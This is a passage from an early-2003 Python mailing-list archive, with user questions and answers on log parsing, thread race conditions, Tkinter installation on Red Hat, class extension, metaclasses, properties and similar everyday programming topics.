./rblLogger.py < /var/log/qmail/qmail-smtpd/current | tai64nlocal | grep rblsmtpd

tai64nlocal turns @400000003e2a502f102f0b24 into an ISO timestamp format.

After running this, I see output due to the "print line" line.  The output
matches exactly what would have been output if I used a popen with the
same command line.

I've figured out that any time the file goes through grep AND sys.stdin, it doesn't
work.  If I preprocess the file through grep to a new file, and still pass it through
tai64nlocal, it works fine.  If I use popen to process the original file
the same way, it works!

Now that I know greping is the problem, I'll just adjust my regex to make
sure 'rblsmtpd' is part of the match and only process lines that contain
this.

Any comments welcome, but I have my workaround, anyway.

Thanks,

Jimmie





From nagylzs at freemail.hu  Fri Jan 31 18:45:01 2003
From: nagylzs at freemail.hu (=?ISO-8859-1?Q?Nagy_L=E1szl=F3?=)
Date: Sat, 01 Feb 2003 00:45:01 +0100
Subject: pycrypto, PEM, DER extract keys
References: <mailman.1044037619.1871.python-list@python.org> <7xsmv93zgm.fsf@ruckus.brouhaha.com>
Message-ID: <3E3B0A7D.9040708@freemail.hu>


Paul Rubin wrote:

>Nagy L?szl? <nagylzs at freemail.hu> writes:
>  
>
>>I need to use RSA with keys given in DER and PEM formatted files.
>>I found the function google("openssl_get_privatekey") but it is only
>>for C and PHP programmers. Is there a way in Python and
>>PyCrypto to do this? Thanks in advance.
>>    
>>
>
>Try m2crypt which is a python wrapper around OpenSSL.
>  
>
Thank you very much. :-)





From jason.mangiafico at verizon.net  Wed Jan 22 19:56:00 2003
From: jason.mangiafico at verizon.net (JM)
Date: Thu, 23 Jan 2003 00:56:00 GMT
Subject: Convert g3 faxes to ps/pdf
References: <avtael$ofv4@imsp212.netvigator.com>
Message-ID: <A4HX9.4429$hy.318@nwrddc04.gnilink.net>

quoting:
>I am fiddling a bit with mgetty+sendfax, writing a program in Python as
>front-end.
>
>These programs send and receive their faxes as g3 format, which is fine for
>that purpose. For viewing and storing I want them as ps or pdf file! (to
>convert between those two is trivial with ps2pdf).
>
>Any clue on how to convert from g3 to ps? (or where I could ask this
>question)
>I tried fax2ps (from libtiff-progs), doesn't work - complains that it does
>not know the g3 file (is not a tiff file).
>
>I don't mind to have to use a few steps - e.g. g3 --> tiff --> ps --> pdf.


Download the Adobe or Jaws PDF writer.  Now just print your faxes through the 
printer driver, give it a filename, and there you have a PDF file.




From tim.one at comcast.net  Sat Jan 18 10:27:23 2003
From: tim.one at comcast.net (Tim Peters)
Date: Sat, 18 Jan 2003 10:27:23 -0500
Subject: Overloading methods in C API
In-Reply-To: <bsoi2v4rokh97unbdnfa9pndd8cctjd6ru@4ax.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCGEAFDJAB.tim.one@comcast.net>

[Afanasiy]
> Is method/function overloading common in Python modules?

No.  As Martin said, it's not *supported* in Python.

> Is it looked down upon?

It's more that it can't be spelled:  there are no type declarations in
Python.  You can write a function

    def f(x):

that accepts any type of argument, but there's no way to say, via
declaration, that it only accepts a *particular* type of argument.  So if
you want f(int) to do one thing and f(float) another, runtime code in the
body of f has to branch on type(x).  People have also invented elaborate
registration schemes for more-or-less automating this kind of thing, but
it's unnatural in Python and such packages are rarely used.  They don't get
away from runtime branching on type, they just hide it under additional
layers of obscurity <0.9 wink>.

The only kind of overloading naturally supported in Python is
single-dispatch OO-style (a single method name can be implemented in a
different way by each class that chooses to support a method of that name):
the meaning of x.meth() is whatever type(x) says "meth" means.





From tim_haines at hotmail.com  Fri Jan 10 00:20:10 2003
From: tim_haines at hotmail.com (Tim Haines)
Date: Fri, 10 Jan 2003 05:20:10 +0000
Subject: I am looking for small projects for work experience
Message-ID: <F158gIhE2U7yX8skEAY00016957@hotmail.com>

Hi,

I currently have a lot of spare time, and am learning python.  I am
looking for some small projects to do/get involved in.  I was
wondering if anyone has any small, non-urgent work they would like
me to try for them.  I am willing to do this for free at this stage
as I want to become more familiar with the language.

I have a computer science degree, and experience working in other
languages - so hopefully my programming will be solid, but perhaps a
little unorthadox until I get a better grip on python.

If you have a project you think I could help you with, please email
me at tim_haines at hotmail.com, and be sure to put Python in the
subject line.

Kindest regards,

Tim Haines.





_________________________________________________________________
The new MSN 8: smart spam protection and 2 months FREE*  
http://join.msn.com/?page=features/junkmail





From exarkun at intarweb.us  Sun Jan  5 13:25:48 2003
From: exarkun at intarweb.us (Jp Calderone)
Date: Sun, 5 Jan 2003 13:25:48 -0500
Subject: Python threading tutorial?
In-Reply-To: <20030105090338.GA2356@nl.linux.org>
References: <mailman.1041679867.22000.python-list@python.org> <1rm7va.i44.ln@beastie.ix.netcom.com> <20030105090338.GA2356@nl.linux.org>
Message-ID: <20030105182548.GA11770@meson.dyndns.org>

On Sun, Jan 05, 2003 at 10:03:38AM +0100, Gerrit Holl wrote:
> Dennis Lee Bieber schreef op zondag  5 januari om 01:30:38 +0000:
> > [snip]
> > On collision, that thread would have to message the other 
> > thread to do the interaction. Sounds like an awful lot of message 
> > Queues (see Queue.Queue) and maybe synchronization primitives (see 
> > threading.Semaphore, threading.Event, threading.Condition).
> 
> ...so I am currently not using the queues. Does that mean my application
> is not reliable, or is this a reliable solution? It seems to run ok...

  That's the problem with threads -- they seem to work for a while, even
when you're using them wrong.  

> 
> My source code:
> [big snip]
> 
> 		if isinstance(self.mx[newx][newy], self.__class__):
> 			raise Collision
> 
> 		self.mx[self.x][self.y] = self.mx.bg
> 		self.mx[newx][newy] = self
> 		self.x = newx
> 		self.y = newy
> 

   Above, you have a race condition.  If thread A and thread B are both
moving to the same matrix location and thread A runs the first two lines,
then thread B runs the whole block, when thread A resumes, it will believe
the destination to be unoccupied and happily trample all over thread B.  It
probably seems to work right because you haven't tested the system under a
high load yet.

  Jp

-- 
Lowery's Law:
        If it jams -- force it.  If it breaks, it needed replacing anyway.
--
 12:00am up 20 days, 9:46, 2 users, load average: 0.10, 0.14, 0.10
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 196 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20030105/6a912b74/attachment.sig>

From polux2001 at wanadoo.fr  Sun Jan 12 09:48:02 2003
From: polux2001 at wanadoo.fr (polux)
Date: Sun, 12 Jan 2003 15:48:02 +0100
Subject: make objetcs 'commit suicide'
Message-ID: <avrv71$m2q$2@news-reader10.wanadoo.fr>

class a:
	def go(self):
		self.__del__            # or del(self)


and then
b=a()
b.go()


b is not destructed




From jason.cunliffe at verizon.net  Thu Jan 23 13:26:22 2003
From: jason.cunliffe at verizon.net (Jason Cunliffe)
Date: Thu, 23 Jan 2003 18:26:22 GMT
Subject: Commercial IDEs: is it worth it? 
References: <4ZuX9.13933$CG6.239986@news4.e.nsc.no>
Message-ID: <itWX9.6061$hy.5720@nwrddc04.gnilink.net>

For something completely different, and 100% Python, check out Edward Ream's
LEO. It's brilliant, fun, very flexible, and free :-)

http://personalpages.tds.net/~edream/front.html

./Jason





From lalo at ciceana.org.mx  Wed Jan 15 10:54:37 2003
From: lalo at ciceana.org.mx (Eduardo Cancino)
Date: Wed, 15 Jan 2003 09:54:37 -0600
Subject: Newbie: How to connect to MySQL?
In-Reply-To: <1042644208.29614.31.camel@orange.infosys.de>
Message-ID: <A6710A9E-28A1-11D7-8A7C-000393944F2A@ciceana.org.mx>

Yes I did: python 2.2.2.
Installed at /usr/bin/python



On Wednesday, January 15, 2003, at 09:23 AM, kim wrote:

> Did you install python ? Try :locate python to find the python 
> interpreter or look into the first row of setup.py. Is there a line 
> like #!/usr/bin/python which links to the wrong place?
>
> best regards
>
> kim
>
> Am Mit, 2003-01-15 um 16.11 schrieb Eduardo Cancino:
>
> Hi everybody!
>
> I downloaded the mysql-python from sourceforge, and I tried to install
> it on my Mac0S 10.2.1
> but even i have the Developer tools the:
>
> python setup.py build
> python setup.py install
>
> commands doesn't find my compiler.
>
> I looked in www.python.org, some of this but didn't find it.
>
> Where I cand find a installing tutorial or something i can get to start
> programming python with databases?
>
> Is there a db module like dbi in perl?
> And the cgi module works as the perl one?
>
>
> Thanks.
>
>
> -- 
>
> http://mail.python.org/mailman/listinfo/python-list
<image.tiff>
>





From yasusii at lowlife.jp  Wed Jan 29 21:43:10 2003
From: yasusii at lowlife.jp (Yasushi Iwata)
Date: Thu, 30 Jan 2003 11:43:10 +0900 (JST)
Subject: RHSA-2002:202-25
In-Reply-To: <15928.3110.960022.272572@montanaro.dyndns.org>
References: <15927.62508.299637.944007@montanaro.dyndns.org>
	<20030130.014306.74756031.yasusii@lowlife.jp>
	<15928.3110.960022.272572@montanaro.dyndns.org>
Message-ID: <20030130.114310.71085997.yasusii@lowlife.jp>

On Wed, 29 Jan 2003 11:15:18 -0600 Skip Montanaro wrote:

> Attached is a context diff between os.py 1.58 and 1.59.  You may be able to
> manually apply it in concept to your 2.1.3 version of os.py.

Thank you. But I think this patch or pached version of Python should
be placed on ftp.python.org.

Zope doesn't work with Python 2.2 yet. So many new Zope users will
install Python 2.1.3. But there is no patch on ftp.python.org and no
security alert on www.python.org.

How do they know that Python 2.1.3 has security problem?





From achim.domma at syynx.de  Wed Jan 29 17:38:03 2003
From: achim.domma at syynx.de (Achim Domma)
Date: Wed, 29 Jan 2003 23:38:03 +0100
Subject: Using C++ classes in python
References: <3E384CF9.8090006@ida.his.se>
Message-ID: <b19kv0$hic$02$1@news.t-online.com>

"Michael Andersson" <a98mican at ida.his.se> wrote in message
news:3E384CF9.8090006 at ida.his.se...
> Is it possible to create a class in C++ that can be instansiated in a
> python script?

I think this might be, what you are looking for:
http://www.boost.org/libs/python/doc/index.html

regards,
Achim





From sholden at holdenweb.com  Fri Jan 17 15:26:35 2003
From: sholden at holdenweb.com (Steve Holden)
Date: Fri, 17 Jan 2003 20:26:35 GMT
Subject: The benefit of properties (was Re: PEP 8: on member variables vs.  attributes)
References: <f57664b9.0301170041.46cc103e@posting.google.com> <v2fuopd3ui6o48@news.supernews.com> <3E280FE3.EB4033F@engcorp.com> <mailman.1042815692.24240.python-list@python.org> <b09fsk$1dbe$1@nntp6.u.washington.edu> <3E285791.7A9F11F6@engcorp.com>
Message-ID: <%FZV9.142$bs2.7@news2.central.cox.net>

"Peter Hansen" <peter at engcorp.com> wrote ...
> Donn Cave wrote:
> >
> > In my world, everyone who deals with code is eventually liable to care
> > how it works.  Especially with regard to state changes or side effects.
> > Not so much because we're itching to exploit this knowledge for evil
> > violations of one kind or another, more because it's eventually the only
> > way to understand why it works the way it does.  (Note ``eventually'',
> > I'm speaking of a last resort but a common one.)  We can't afford to
> > make code opaque to anyone.
>
> One of the programmers, whom I respected very much on the project I
> mentioned, was quite of the opposite view to mine.  He kept insisting
> that one shouldn't *want* to know what a given property does.  He
> used the example of a library package, where "clearly" I shouldn't
> have to know about all the nitty-gritty details that go on under
> the hood.
>
> In the end, we found agreement based on one point: so long as one
> cannot *trust* that the library is *bomb-proof, bug-free, fully
> documented code*, there's a good chance one needs to know what is
> going on underneath, especially to work around problems or even
> just to figure out how to use the library.
>
> I was of the opinion that we were not using, or creating, such
> a library, and that therefore we had to insist on very limited
> use of properties.
>
> I guess I'm saying that the principle is sound, but practically I
> have yet to see a situation where it would work for me.
>

One reason why a property-based approach might work better in Python is its
superior exception handling, which (while it might produce some surprises,
just like database triggers can) at least allows property-handling errors to
be trapped outside.

regards
--
Steve Holden                                  http://www.holdenweb.com/
Python Web Programming                 http://pydish.holdenweb.com/pwp/
Bring your musical instrument to PyCon!    http://www.python.org/pycon/






From tismer at tismer.com  Thu Jan 30 22:28:47 2003
From: tismer at tismer.com (Christian Tismer)
Date: Fri, 31 Jan 2003 04:28:47 +0100
Subject: Implicit lists
In-Reply-To: <20030130180017.U10804@prim.han.de>
References: <m4di3v4koufdbf4e2pvsanegli2kqt48ch@4ax.com> <mailman.1043939395.30256.python-list@python.org> <Fpc_9.143714$AA2.5881522@news2.tin.it> <20030130180017.U10804@prim.han.de>
Message-ID: <3E39ED6F.5030703@tismer.com>

holger krekel wrote:

...

> But i agree that grouping into 'non-iterables except strings and 
> unicode' on one side and everything else on the other side most 
> often makes sense.   

In my opinion, the crux of this all is the decision
that strings are iterable.
The number of use cases which I have seen so far is much
shorter than this thread.
Strings are much more often used as solid objects.
I'm pretty sure Guido would remove the sequence-ness
of strings in Python 3000, even to avoid this kind
of problems.

ciao - chris





From davegaramond at icqmail.com  Sat Jan 25 08:37:51 2003
From: davegaramond at icqmail.com (David Garamond)
Date: Sat, 25 Jan 2003 06:37:51 -0700
Subject: extending objects (object-specific subclassing)
Message-ID: <3E32932F.7030602@icqmail.com>

in ruby you can "subclass an object". that is, you override and/or add 
methods specific to an object, not for the entire class. an example below:

  a = "hello"
  b = a.dup # b becomes another String object with the value of "hello"

  def b.to_s
    "The value is '#{self}'"
  end

  puts a.to_s # hello
  puts b.to_s # The value is 'hello'

behind the scene, ruby creates a new class just for the object a. the 
original a's class, String, will be the new class' superclass. ruby 
hides this, though, so you'll still see a as being the String object.

  puts a.class # String
  puts b.class # String

i wonder if python has a similar concept. or how do we do something 
roughly similar in python.

-- 
dave





From lee at leeHYPHENphillips.org.invalid  Tue Jan 28 12:37:24 2003
From: lee at leeHYPHENphillips.org.invalid (Lee Phillips)
Date: Tue, 28 Jan 2003 17:37:24 +0000 (UTC)
Subject: Browser front-end, python back-end
References: <fd5aa35c.0301280922.a952dc7@posting.google.com>
Message-ID: <slrnb3dg7u.lr.lee@bad-bart.lcp.nrl.navy.mil>

On 28 Jan 2003 09:22:59 -0800, Eric Mattes <ericmattes at yahoo.com> has writ:
> Hi.
> 
> I'd like to know if anyone knows a way to write a python program that
> can be interfaced with through a web browser. 

People tend to call these things "web applications". Usually you don't
use python to do the http serving, but use a library that works with 
a server such as apache (however there are some libraries that include
the server itself). I've found webware (http://webware.sourceforge.net/)
to be a nice framework for writing pyhon apps with browser interfaces.




From xunil at kc-rr.com  Mon Jan 20 22:25:46 2003
From: xunil at kc-rr.com (Sinister Midget)
Date: Mon, 20 Jan 2003 21:25:46 -0600
Subject: my favs
References: <b0gp1r$mec$1@news.ksc.co.th> <9kstf-b1m.ln1@elstinko.registrado.network.es> <200120031316589777%dipthotdipthot@yahoo.yahoo.com.com> <g3luf-eoq.ln1@elstinko.registrado.network.es> <KH2X9.19092$FY4.744@news1.central.cox.net>
Message-ID: <q6ruf-q8s.ln1@elstinko.registrado.network.es>

On Tue, 21 Jan 2003 02:58:50 GMT, mpowell at NOSPAM.osprey.net drooled and scribbled:
> On Tue, 21 Jan 2003 at 01:41 GMT, Sinister Midget
> spilled his alphabet soup on the floor, and the letters spelled:
>> On Mon, 20 Jan 2003 21:17:01 GMT, dipthotdipthot at yahoo.yahoo.com.com drooled and scribbled:
>>> In article <9kstf-b1m.ln1 at elstinko.registrado.network.es>, Sinister
>>> Midget <xunil at kc-rr.com> wrote:
>>> 
>>>> On Mon, 20 Jan 2003 19:11:40 +0700, wichelman at hotmail.com drooled and
>>>> scribbled:
>>>> 
>>>> 
>>>> 
>>>> 
>>>> 
>>>> And good ones, too!
>>> 
>>> Yeah, but
>>> 
>>> 
>>> 
>>> totally sucks ass.
>> 
>> I only messed with it once. I didn't think it was so bad, but I might
>> not have used it enough to get a valid opinion.
>> 
>> My favorite one was
>> 
>>
>>
> 
> You're a sicko.  Why would you use
> 
> 
> 
> 
> When you could use
> 
> 
> 
> 
> 
> 
> 

I liked that one, too. But sometimes you're in a pinch and gotta use
the best at hand!

At least I didn't try using


Even WJBell would know better than that!! I think.

-- 
Atlanta, Ga. - Scientists at the Centers for Disease Control today
confirmed that hoof-and-mouth disease cannot be spread by Microsoft's
Outlook email application, believed to be the first time the program has
ever failed to propagate a major virus.



From morden at shadows.net  Thu Jan  9 15:03:46 2003
From: morden at shadows.net (morden)
Date: Thu, 09 Jan 2003 12:03:46 -0800
Subject: GUI toolkits
In-Reply-To: <avfsc2$8ar$1@bob.news.rcn.net>
References: <avfsc2$8ar$1@bob.news.rcn.net> <avjmg0$s03$03$1@news.t-online.com>
Message-ID: <avkedn$h8n$1@bob.news.rcn.net>

Thomas Guettler wrote:

> morden schrieb:
>
> > Is there info availbale somewhere on the relative merits of tkinter
> > vs. pyGnome?
>
>
> I think comparing these makes no sense. Tkinter is for developing GUIs
> while Gnome is a desktop environment.
>
> You could compare tkinter, pyGtk and wxPython with each other.

I've meant Tkinter and pyGtk. But I see by now what Tkinter more popular
so I'll try to give it a try first.

>
> There are comparisons available, but I have no ULR right now.
>
> May favorit, if you want to develop for win32 and unix is wxPython.

Ok. I have a luxury to not care about win32 at this point.
And Tkinter seem to work on it also anyhow. Any selling points
for wxPython compared to Tkinter that you'd care to mention?




From marklists at mceahern.com  Sun Jan 12 16:42:23 2003
From: marklists at mceahern.com (Mark McEahern)
Date: Sun, 12 Jan 2003 15:42:23 -0600
Subject: String representation of an identifier's name
In-Reply-To: <67446a0a.0301121334.22fe0673@posting.google.com>
Message-ID: <JHEOKEOOLIGLDHCMAHMOAEEMFKAA.marklists@mceahern.com>

> I think it easier to explain with an example, so here it goes:
> Assuming there's a function fn that does what I want, it would 
> work like this:
> 
> g = 23
> foo = {'a':56}
> 
> fn(g) => 'g'
> fn(foo) => 'foo'
> 
> How can I write fn? O:-)

What do you expect fn to do here:

g = 23
h = g
fn(h)

Consider this:

#!/usr/bin/env python

def fn(**args):
    for k, v in args.items():
        print '%s == %s' % (k, v)

fn(g=23)


// m
-





From peter at engcorp.com  Wed Jan 29 10:19:56 2003
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 29 Jan 2003 10:19:56 -0500
Subject: Which exception to use?
References: <b16lui$j3s$1@bob.news.rcn.net> <mailman.1043786834.24179.python-list@python.org> <7h3y954ywdw.fsf@pc150.maths.bris.ac.uk>
Message-ID: <3E37F11C.242D5F11@engcorp.com>

Michael Hudson wrote:
> 
> Chad Netzer <cnetzer at mail.arc.nasa.gov> writes:
> 
> > I do things like this for some library functions that I create (I
> > welcome discussion about whether it is a good approach)
> >
> > class ArgumentError( Exception ):
> >     pass
> 
> This *is* a good approach (IMHO), but you should consider deriving
> your exceptions from StandardError instead (I rarely remember to do
> this, either).

Why should you do this?

I found the following quote when I searched for "python standarderror",
from http://web.pydoc.org/1.5.2/exceptions.html#StandardError :

  "If you define your own class based exceptions, they should be 
   derived from Exception."

All of *Python's* exceptions, except SystemExit, are derived from
StandardError, but the description of StandardError says only 
"Base class for all standard Python exceptions.".

Since we're not talking about defining *standard* exceptions, 
shouldn't we follow the advice in that page?

-Peter



From robert at nowhere.net  Sat Jan 11 17:04:07 2003
From: robert at nowhere.net (Robert Hord)
Date: Sat, 11 Jan 2003 22:04:07 GMT
Subject: idle will not start
References: <NoTT9.4808$pn3.184916120@newssvr15.news.prodigy.com> <3E207A94.1090103@email.com> <GU%T9.1033$6b.21955655@newssvr17.news.prodigy.com>
Message-ID: <rx0U9.954$yh6.745@newssvr19.news.prodigy.com>

Robert Hord wrote:

> R. C. Ellis wrote:
> 
>> Robert Hord wrote:
>>> I have install the RH 8.0 with python.  When I start ./idle I get an
>>> error
>>> "no module named ildelib".  I have done a find -name /usr idlelib with
>>> no
>>> results.  I also did an ./idle.py with an error "no module named
>>> Tkinter". I have installed the tcl/tk from the RH cd.
>>> 
>>> ? Anyone know what I'm missing ?
>>> 
>> 
>>  From what I understand from other on-line sources, RedHat chose NOT to
>> include Tkinter in it's python install.
>> 
>> In my case I downloaded the latest Python tgz file from python.org
>> (which includes Tkinter, supposedly) and did the configure-make-make
>> install, but it *Still* is unable to find the necessary files to access
>> Tkinter libs.  I've fiddled with all the available environment
>> variables, "locate"ed the Tkinter file - no luck.  I've asked the
>> follow-on question relating to this: to wit, "OK What do I do now?" or
>> "What did I miss and get wrong?"
>> 
>> RC
> Well, guess I'll go googling.  thanks.

When here for tkinter
http://www.redhat.com/swr/i386/tkinter-2.2.1-17.i386.html
Had to have libtx.so.0 so I went here.
http://rpmfind.net/linux/rpm2html/search.php?query=libtix.so.0

All working now.  Looks great. thanks for the input.

reh - Texas,USA
RedHat 8.0
http://flashpages.prodigy.net/rhordjr




From jdsdafsfad at sdfsdfa.invalid  Sat Jan  4 23:18:28 2003
From: jdsdafsfad at sdfsdfa.invalid (Jive Dadson)
Date: Sat, 04 Jan 2003 20:18:28 -0800
Subject: Okay, okay.
Message-ID: <3E17B214.196BA117@sdfsdfa.invalid>

Alright already.  I'll do it.  I wasn't expecting the Spanish
Inquisition.

J.





From paddy3118 at tiscali.co.uk  Thu Jan  9 13:37:55 2003
From: paddy3118 at tiscali.co.uk (Paddy)
Date: Thu, 09 Jan 2003 18:37:55 +0000
Subject: Best Python Editor (under Linux)
In-Reply-To: <0zhR9.7019$Gv4.4628@fe08>
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <87lm23xh06.fsf@gvdnet.dk> <3E159B1A.BE7AC2DD@engcorp.com> <0zhR9.7019$Gv4.4628@fe08>
Message-ID: <3E1DC183.1020706@tiscali.co.uk>

Steve Holden wrote:
> "Peter Hansen" <peter at engcorp.com> wrote ...
> 
>>Martin Christensen wrote:
>>
> [editors, endlessly, again]
> 
>>I'm sure they are highly effective for some people.  Not everyone
>>has need of such a large slate of features.  In fact, over the years
>>I've found I rely on fewer and fewer special functions in my editors,
>>and at this point I am so independent of any specific editor that I
>>find myself roughly as productive in any modern editor, using the tiny
>>subset of its features that I do, and yet more productive (because of
>>my approach to programming) than many other programmers.
>>
> 
> 
> You have, of course, neatly encapsulated many of the advantages of being an
> old fart. Welcome to the club!
> 
> ....and a Happy New Year to all my reader :0)
> 
> regards

Whilst I too have many years of editing text files, it IS a young industry, you DO have to
keep abreast of the changes and in text editing I have been lucky in that my initial vi
knowledge is still relevant and can be enhanced when I move to elvis or vim.

Like Martin I suspect, solving the eight queens problem in a macro has nothing to do with
  text editing, but syntax highlighting, folding, template generation, auto indentation,
and others I think ARE the realms of a good text editor.

One feature that would be nice is multiple language syntax colouring for things like
embedded scripts in HTML or a python 'here document', ( <<! ...!), in a bash script. Is
this available in editors yet?

Thanks, Paddy.





From pyth at devel.trillke.net  Thu Jan  9 07:08:08 2003
From: pyth at devel.trillke.net (holger krekel)
Date: Thu, 9 Jan 2003 13:08:08 +0100
Subject: a strange question in it.comp.lang...
In-Reply-To: <003b01c2b7cb$d7f13af0$c61411ac@win2ktest>; from 6e6op@excite.it on Thu, Jan 09, 2003 at 11:42:34AM +0100
References: <avhrot$sbh$1@lacerta.tiscalinet.it> <20030108201705.F349@prim.han.de> <003b01c2b7cb$d7f13af0$c61411ac@win2ktest>
Message-ID: <20030109130808.I349@prim.han.de>

6e6op wrote:
> thanks!
> so the only way to do that is: take the src of the interpreter and
> change str object code... too much work.. the man that did it
> builded ruby ;-)) (i'm joking)

btw, it's fun changing stuff at the core level especially
the C-code is comparitively easy to read.  Of course, 
getting something like the above accepted is near
impossible.  That a good thing because otherwise
nobody would use python anymore :-)

> i'm thinking...
> the possibility to change the
> core classes (obviously not __builtins__= __mybuiltins__ )
> in some way can be useful to build a customized python,
> maybe for embedded system or
> for application like java midlet used in new mobile phones...
> or things like that.

Since python2.2 you can subclass builtin types.  This already
gets you half-way.  Have you really tried that route for your 
problem?

> not really a new platform.. i want to try an example to explain..
> the X Company build a new periferal with a mini linux embedded,
> with a short list of command and only c++ to implement application.
> a customized python, in this case can be the way to build application
> better and quickly than c++ for the X Company...

And this is not doable without core changes? Are you sure? 

cheers,

    holger




From peter at engcorp.com  Fri Jan 24 17:37:47 2003
From: peter at engcorp.com (Peter Hansen)
Date: Fri, 24 Jan 2003 17:37:47 -0500
Subject: socket wedged forever in recv()
References: <mailman.1043445122.25055.python-list@python.org>
Message-ID: <3E31C03B.3EE95726@engcorp.com>

Geoffrey Talvola wrote:
> 
> I have a Windows NT client application that uses httplib to make requests to
> a Windows NT server running Apache 2.0 serving up a cgi script.
> Unfortunately, if I reboot the Apache server, if a request is in-progress,
> the client will often wedge permanently.  I built a debug version of Python
> 2.2.2 and verified that the client is stuck in a call to recv() and will
> apparently never exit.  It's a little irritating that the client can't
> detect the situation and return from recv() with an error code at this
> point.  Does anyone know a way to get the client to notice that the server
> is gone?

Use the "select" module.

-Peter



From see at below.invalid  Fri Jan  3 22:40:36 2003
From: see at below.invalid (Paul Foley)
Date: 04 Jan 2003 16:40:36 +1300
Subject: Multiple dispatch again
References: <mailman.1041492423.21345.python-list@python.org> <v1cgnpsb83kafe@news.supernews.com>
Message-ID: <m2smw9ziob.fsf@mycroft.actrix.gen.nz>

On Fri, 3 Jan 2003 21:12:31 -0500, John Roth wrote:

> If I understand what you're talking about, multiple dispatch is
> simply another name for method overloading - or is it?

No, it isn't.

-- 
When C++ is your hammer, everything looks like a thumb.
                                                     -- Steven M. Haflich
(setq reply-to
  (concatenate 'string "Paul Foley " "<mycroft" '(#\@) "actrix.gen.nz>"))



From martin.schmettow at bibliothek.uni-regensburg.de  Wed Jan  8 05:17:48 2003
From: martin.schmettow at bibliothek.uni-regensburg.de (Martin Schmettow)
Date: Wed, 08 Jan 2003 11:17:48 +0100
Subject: extending an existing class without inhertance
In-Reply-To: <mailman.1041989063.2588.python-list@python.org>
References: <mailman.1041989063.2588.python-list@python.org>
Message-ID: <avgtpg$taq$1@rrzd1.rz.uni-regensburg.de>

>>Extending the class by inheritance is obvious but seems not 
>>practical in this case, because a lot is done by Factories, which
>>you cant just tell to produce MyElement instead of Element.
>>The easiest solution would be to enhance the existing class by just 
>>adding the method. I did this several times in Perl (in a 
>>former life, of course).
>>Can anybody tell me the Python way to do it. Other solutions 
>>are welcome as well.
>>
>>CU
>>Martin.
>>
sismex01 at hebmex.com wrote:
> 
> What you're asking is quite doable, and simple, in Python.
> Let me explain by example. Let's take a simple class where
> we want to add a simple (originally non-existant) method.
> 
> 
>>>>class Duck:
> 
> 	def __init__(self, name):
> 		self.name = name
> 	def __str__(self):
> 		return "<%s instance '%s' at %s>" % \
> 		       (self.__class__.__name__, self.name, hex(id(self)))
> 	__repr__ = __str__
> 
> 
>>>>d1 = Duck("Donald")
>>>>d2 = Duck("Daffy")
>>>>d1, d2
> 
> (<Duck instance 'Donald' at 0xb16e00>, <Duck instance 'Daffy' at 0xb19fb0>)
> 
> 
> So we have a class which returns 'self's info upon calling
> it's __str__ method. Simple.
> 
> Now, let's define a function which print's out --not returns--
> the information about an instance.  It's like, but not quite,
> __str__. :-)
> 
> 
>>>>def Identify(duck):
> 
> 	print "%s of name '%s', and identity %s" % \
> 	      (duck.__class__.__name__, duck.name, hex(id(duck)))
> 
> 
>>>>Identify(d1)
> 
> Duck of name 'Donald', and identity 0xb16e00
> 
>>>>Identify(d2)
> 
> Duck of name 'Daffy', and identity 0xb19fb0
> 
> 
> So it's simple-minded; this is a simple example. :-)
> Now, let's convert this ordinary function into a method,
> which is callable from any instance.
> 
> First, let's verify that this method doesn't exist:
> 
> 
>>>>d1.Identify()
> 
> Traceback (most recent call last):
>   File "<pyshell#55>", line 1, in ?
>     d1.Identify()
> AttributeError: Duck instance has no attribute 'Identify'
> 
> 
> Now, in order to "bind" this function to a class method,
> we assign it to the class object, as an attribute:
> 
> 
>>>>d1.__class__.Identify = Identify
>>>>del Identify
>>>>
> 
> 
> I deleted it from the global (module) namespace, just
> to be a bit more explicit about the original function
> not existing anymore:
> 
> 
>>>>Identify(d1)
> 
> Traceback (most recent call last):
>   File "<pyshell#60>", line 1, in ?
>     Identify(d1)
> NameError: name 'Identify' is not defined
> 
> 
> 
> So now, we try out the function, now bound as an
> instance method of the Duck class.  Although we
> didn't actually assign it to "Duck.Identify",
> remember that d1.__class__ is Duck.
> 
> 
> 
>>>>d1.Identify()
> 
> Duck of name 'Donald', and identity 0xb16e00
> 
>>>>d2.Identify()
> 
> Duck of name 'Daffy', and identity 0xb19fb0

Hi Gustavo.

Thanks for your advice. Learned some interesting python internals on it.
But in this case it didn't help. I get an AttributeError: __class__ and 
the same with __dict__ btw. I am using the Ft.Xml.Domlette (from 
4Suite). In the doc it says, that cDomlette is used internally. This is 
an  implementation in C. Might this be the problem?

CU
Martin.




From glc at well.com  Thu Jan 16 10:34:36 2003
From: glc at well.com (Greg Chapman)
Date: Thu, 16 Jan 2003 15:34:36 GMT
Subject: Python23: cannot inherit from bool?
References: <bb3eec0f.0301141812.18e916bf@posting.google.com> <b03kr8$lbili$1@ID-71831.news.dfncis.de> <VioEfKAwHWJ+EwJk@jessikat.demon.co.uk> <hk0d2vgdann9etn76olun0nj383jtf0ige@4ax.com> <m3d6mx8kss.fsf@mira.informatik.hu-berlin.de>
Message-ID: <l6kd2vkmdfgofruatvgacn95f94dallud8@4ax.com>

On 16 Jan 2003 11:13:07 +0100, martin at v.loewis.de (Martin v. L?wis) wrote:

>Dale Strickland-Clark <dale at riverhall.NOTHANKS.co.uk> writes:
>
>> >.... don't know the answer to that one, but is the non inheritance
>> >property available to ordinary python if yes we could create leaf
>> >classes.
>> 
>> At the risk of sounding dim: what's a leaf class?
>
>I think the OP meant this as a synonym for what others call "final"
>classes, i.e. classes that cannot be used as a base class. The OP asks
>whether it is possible to implement a Python class which gives an
>error when it is used as a base. I believe the answer to that question
>is "no".
>

Wouldn't something like this work?:

LeafClass = None  #initialized so that it exists when LeafClass itself
                  #is being created

class LeafMetaClass(type):
    def __new__(metaclass, name, bases, attrs):
        if LeafClass is not None:
            for base in bases:
                if hasattr(base, '_leafclass_'):
                    raise TypeError('cannot inherit from '+base.__name__)
            attrs['_leafclass_'] = True
        return super(LeafMetaClass, metaclass).__new__(metaclass, name,
                                                       bases, attrs)

class LeafClass(object):
    '''Can serve as a mix-in base class to declare that it is illegal to
       inherit from a class'''
    __metaclass__ = LeafMetaClass

---
Greg Chapman
        



From webmaster at watchtowerDOTorg.pl  Tue Jan 14 20:05:00 2003
